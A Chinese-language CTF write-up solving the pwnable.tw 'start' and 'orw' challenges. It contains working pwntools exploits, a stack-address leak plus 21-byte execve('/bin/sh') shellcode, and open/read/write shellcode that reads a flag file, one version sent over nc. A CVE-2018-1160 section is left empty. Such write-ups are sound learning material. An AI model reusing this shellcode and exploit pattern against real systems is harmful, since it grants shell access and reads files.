0x00 start

分析

一个相当简洁短小的程序,没有各种复杂的系统调用,甚至只有.text段,应该是直接用汇编写的
核心子程序就两个:_start_exit
_exit只是单纯的调用sys_exit,没什么利用价值,来看看_start

public _start
_start proc near
push    esp
push    offset _exit
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch       ; text
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx        ; fd -> bl=0
mov     dl, 3Ch ; '<'   ; len
mov     al, 3
int     80h             ; LINUX - sys_read
add     esp, 14h        ; stack_len
retn
_start endp ; sp-analysis failed

其中mov al, 4; int 80h;mov al, 3; int 80h意为调用0x80号中断的4号处理程序sys_write和3号处理程序sys_read

可以看到read函数输入上限为0x3C,而分配的栈大小为0x14,如果没开保护那么我们可以栈溢出,checksec一下发现也确实什么保护都没开

那么我们来分析一下怎么利用漏洞

  • 手头上可以利用的函数只有sys_writesys_read
  • 没有现成的shellcode,需要我们自行写入shellcode
  • 可写入的位置只有程序调用栈,而栈的地址不固定

所以我们的流程如下

  • read溢出写入write调用地址->write输出栈基址->read溢出写入shellcode及其地址->执行shellcode

可能光看流程不太清晰,我们分析一下程序调用栈的结构

原来的程序栈结构如下

值得注意的是,程序一开始把原栈顶指针esp压进了栈

曾让我感到困惑的是,一般而言栈底retn addr上方应该还会压入一个原栈底指针ebp,但这里只有retn addr而没有ebp
但其实答案很简单

  • 原栈底指针ebp不是必要的
  • 这是一个纯汇编写的程序,不用遵循gcc编译器的规范

既然不影响程序总体执行,那么为什么gcc的汇编器还要压入一个原栈底指针ebp呢?我又去查了查

结论:

  • 原栈底指针ebp是用来调试程序遇到异常时traceback用的,不影响程序总体运行
  • gcc可以通过命令-fomit-frame-pointer来禁止这种机制
    • 这样可以一定程度上优化程序运行速度
    • 但代价是无法在调试程序遇到异常时traceback
  • 但是有种略高级的ROP方法栈劫持好像会利用到ebp,以后学习到再说

扯远了,回到题目

执行payload构造的栈结构如下

第一次执行时,我们将retn addr覆盖为调用sys_write函数的地址0x08048087,当子程序_start执行完后重新回到调用sys_write,此时栈上只有原栈顶指针esp,于是程序输出栈基地址
尔后程序执行到调用sys_read,我们覆盖上shellcode及其地址

第二次执行时,_start最后有指令add esp, 14h,所以我们的shellcode_addr栈基地址+0x14,此后程序retn到我们的shellcode地址处,开始执行shellcode,最后getshell

关于最后的shellcode_addr,网上大多一笔带过,我的理解是这样的:

  • 指令从低地址向高地址执行,栈空间由高地址向低地址生长,数组在栈空间中按低地址到高地址的顺序写入和索引
  • old esp指向的是栈基地址,也就是原程序栈内地址最高的地方,我暂且称其地址为0x00
  • 程序全程无pop指令
  • 首先栈内压入retn addr和字符串,执行完sys_read后add esp, 0x14;,此时esp指向retn addr
  • 由于retn addr被我们覆盖成了调用sys_write的地址,retn等同于pop eip, esp; add esp, 0x04,程序打印出栈基地址,然后再次调用sys_read,从存储old esp处开始写入,由于结束后会再次add esp, 0x14;,所以我们先填充长0x14的padding,紧接着写入shellcode_addr和shellcode,此时shellcode第一条指令从低地址的old esp+0x14进入,最后esp恰好指向shellcode_addr
  • 所以我们应当将shellcode_addr设置为shellcode第一条指令的0x14

一开始由于思维惯性,下意识默认用过的栈空间会pop掉,导致在esp的变化这里百思不得其解

最后来简单讲讲shellcode,其实核心就是调用execve函数来调用shell
不过由于参数限制shellcode最长为0x3C-0x14-0x08=0x15,据此我们构造出一个长为0x15的shellcode

31 c9                   xor    ecx,ecx
f7 e1                   mul    ecx
51                      push   ecx
68 2f 2f 73 68          push   0x68732f2f     ;传入参数'/bin/sh'
68 2f 62 69 6e          push   0x6e69622f
89 e3                   mov    ebx,esp
b0 0b                   mov    al,0xb         ;调用80h中断b号处理程序sys_execve
cd 80                   int    0x80

EXP

from pwn import *

# io = process('./start')
io = remote('chall.pwnable.tw',10000)

payload1 = b'a'*0x14 + p32(0x08048087)
io.recvuntil('CTF:')
io.send(payload1)
addr = u32(io.recv(4)) + 0x14
shellcode = asm(
    '''
    xor     ecx,ecx
    mul     ecx
    push    ecx
    push    0x68732f2f
    push    0x6e69622f
    mov     ebx,esp
    mov     al,0xb
    int     0x80
    '''
)
payload2 = b'a'*0x14 + p32(addr) + shellcode
io.sendline(payload2)
io.interactive()

还挺鸡贼的,flag居然不在程序所在的目录里,最后是在/home/start/里找到的

看佬们说这是最基础的PWN入门题,我还是太菜了QAQ

参考

0x01 orw

分析

这次是个一开始完全看不懂的程序()

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}

orw_seccomp函数

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h] BYREF
  char *v2; // [esp+8h] [ebp-80h]
  char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(v3, &unk_8048640, sizeof(v3));
  v1 = 12;
  v2 = v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}

虽然有read函数,但是开了cancary保护,证明不是栈溢出漏洞(除非绕过canary)

查询资料之后才知道Linux kernel里一个叫seccomp的机制

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

seccomp 简单来说就是一个白名单,每个进程进行系统调用(system call)时,kernal 都会检查对应的白名单以确认该进程是否有权限使用这个系统调用。这个白名单是用 berkeley package filter(BPF)格式书写的。

所以这道题实际上是想要我们自己构造shellcode
既然我们无法调用shell,那直接构造shellcode读取flag不就好了
题目也暗示得很明显:ORW(sys_Open、sys_Read、sys_Write)

接下来讲讲这三个Linux kernel系统调用
我还未学习Linux kernel,接下来的描述如有错误还请见谅并不吝赐教

sys_open

要打开现有文件,请执行以下任务:

  • 将系统调用sys_open()放入eax寄存器
  • 将文件名放入ebx寄存器
  • 将文件访问模式放入ecx寄存器
  • 将文件权限放入edx寄存器

系统调用返回eax寄存器中创建的文件的文件描述符,如果出现错误,错误代码位于eax寄存器

在文件访问模式中,最常用的是:只读(0)、只写(1)和 读写(2)

open成功就会返回一个非负整数(0,1,2,3……)的文件描述符
文件描述符指向打开的文件,后续的read、write、close等函数的文件操作,都是通过文件描述符来实现的
每个程序运行起来后,就是一个进程,系统会给每个进程分配0~1023的文件描述符范围,每个进程打开文件时,open所返回的文件描述符是0~1023范围中的某个数字,0~1023这个范围就是文件描述符池
1023这个上限可以修改,但已经够用,一个进程同时打开1023个文件的情况很少见,所以一般很少改
open返回文件描述符的规则:返回当前最小未占用的那个。进程一运行起来,0,1,2已经被使用了,最小未占用的是3,所以返回3;如果又打开了一个文件,最小未占用的应该是4,往后同理
文件关闭后,被文件用的描述符会被释放,等着下一次open时被重复利用

这里我们成功打开flag文件后,sys_open返回的文件描述符应该是3

sys_read

要读取文件,请执行以下任务:

  • 将系统调用sys_read()放入eax寄存器中
  • 将文件描述符放入ebx寄存器
  • 将指针指向ecx寄存器中的输入缓冲区
  • 将缓冲区大小,即要读取的字节数,放入edx寄存器

系统调用返回在eax寄存器中读取的字节数,如果出现错误,错误代码位于eax寄存器

我们open的flag文件描述符是3,所以传入sys_read的文件描述符也是3

sys_write

要写入文件,请执行以下任务:

  • 将系统调用sys_write()放入eax寄存器中
  • 将文件描述符放入ebx寄存器
  • 将指针指向ecx寄存器中的输出缓冲区
  • 将缓冲区大小,即要写入的字节数,放入edx寄存器

系统调用返回写入eax寄存器的实际字节数,如果出现错误,错误代码位于eax寄存器中

最前面的三个文件描述符(0,1,2)分别是标准输入(stdin),标准输出(stdout)和标准错误(stderr),所以这里文件描述符应该是1

所以最后大概的流程是:sys_open打开文件到内存->sys_read读取文件->sys_write将文件写入标准输出

EXP

from pwn import *

# io = process('./orw')
io = remote('chall.pwnable.tw',10001)

filename = asm(
    '''
    push    0x6761
    push    0x6C662F77
    push    0x726F2F65
    push    0x6D6F682F
    '''
)
sys_open = asm(
    '''
    mov     eax,0x5
    mov     ebx,esp
    int     0x80
    '''
)
sys_read = asm(
    '''
    mov     eax,0x3
    mov     ebx,0x3
    mov     edx,0x30
    int     0x80
    '''
)
sys_write = asm(
    '''
    mov     eax,0x4
    mov     ebx,0x1
    mov     edx,0x30
    int     0x80
    '''
)
payload = filename + sys_open + sys_read + sys_write
io.sendline(payload)
io.interactive()

还看到akiym大佬直接写汇编程序然后用netcat执行的,不失为一个更优雅的解法

.intel_syntax noprefix
.globl _start
_start:
    jmp loadstring
file_read:
    pop ebx
    xor eax,eax
    xor ecx,ecx
    xor edx,edx
    mov al,0x5
    int 0x80

    mov ebx,eax
    mov ecx,esp
    mov dl,0x40
    mov al,0x3
    int 0x80

    xchg eax,edx
    mov bl,0x1
    mov al,0x4
    int 0x80

    ret
loadstring:
    call file_read
    .asciz "/home/orw/flag"
$ asm -i sc.S -o sc
$ nc chall.pwnable.tw 10001 < sc

参考

0x02 CVE-2018-1160

远超本人水平了,先留着(这是100pts?这是100pts?这是100pts?)

分析

EXP